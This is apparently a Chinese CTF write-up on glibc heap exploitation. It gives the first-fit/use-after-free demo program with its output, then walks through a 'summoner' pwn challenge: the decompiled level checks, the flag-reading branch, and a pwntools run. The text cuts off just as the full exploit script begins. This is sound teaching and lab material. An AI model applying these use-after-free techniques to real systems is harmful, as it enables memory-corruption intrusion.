intmain() { fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n"); fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n"); fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n"); char* a = malloc(0x512); char* b = malloc(0x256); char* c;
fprintf(stderr, "1st malloc(0x512): %p\n", a); fprintf(stderr, "2nd malloc(0x256): %p\n", b); fprintf(stderr, "we could continue mallocing here...\n"); fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n"); strcpy(a, "this is A!"); fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n"); free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 0x500 bytes\n"); c = malloc(0x500); fprintf(stderr, "3rd malloc(0x500): %p\n", c); fprintf(stderr, "And put a different string here, \"this is C!\"\n"); strcpy(c, "this is C!"); fprintf(stderr, "3rd allocation %p points to %s\n", c, c); fprintf(stderr, "first allocation %p points to %s\n", a, a); fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n"); }
编译运行:
➜ fist_fitAndUAF gcc fist_fit.c -o fist_fit ➜ fist_fitAndUAF ./fist_fit This file doesn't demonstrate an attack, but shows the nature of glibc's allocator. glibc uses a first-fit algorithm to select a free chunk. If a chunk is free and large enough, malloc will select this chunk. This can be exploited in a use-after-free situation. Allocating 2 buffers. They can be large, don't have to be fastbin. 1st malloc(0x512): 0x7fffbc606260 2nd malloc(0x256): 0x7fffbc606780 we could continue mallocing here... now let's put a string at a that we can read later "this is A!" first allocation 0x7fffbc606260 points to this is A! Freeing the first one... We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x7fffbc606260 So, let's allocate 0x500 bytes 3rd malloc(0x500): 0x7fffbc606260 And put a different string here, "this is C!" 3rd allocation 0x7fffbc606260 points to this is C! first allocation 0x7fffbc606260 points to this is C! If we reuse the first allocation, it now holds the data from the third allocation.
➜ Summoner git:(master) ./summoner After you climb over the snow mountain, you encounter an evil summoner!
He summoned "The Dark Lord" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!
What's your plan for now??? Available plans: show - show your creature and its level summon [name] - summon a creature called [name] level-up [level] - level up your creature (below Level 5) strike - STRIKE the evil summoner's creature!!! release - release your creature quit - give up and die
Enter your command: >
这里根据题目, 可以在IDA中创建如下结构体character
getflag的点在当输入strike命令时level要为5
if ( character ) { if ( character->level == 5 ) system("/bin/cat /pwn/flag"); else puts("No, you cannot beat him!"); } else { puts("Summon first."); }
然而我们最多只能用level-up到4:
if ( v5 <= 4 ) { character->level = v5; printf("Level-up to \"%u\"\n", v5, v4); } else { puts("Can only level-up to Level 4."); }
➜ work python3 summoner.py [+] Starting local process './summoner': pid 24183 [*] Switching to interactive mode /bin/cat: /pwn/flag: No such file or directory
Enter your command: > $
成功进入getflag环节!
完整脚本如下:
from pwn import *
context.terminal=["tmux", "splitw", "-h"] p = process("./summoner")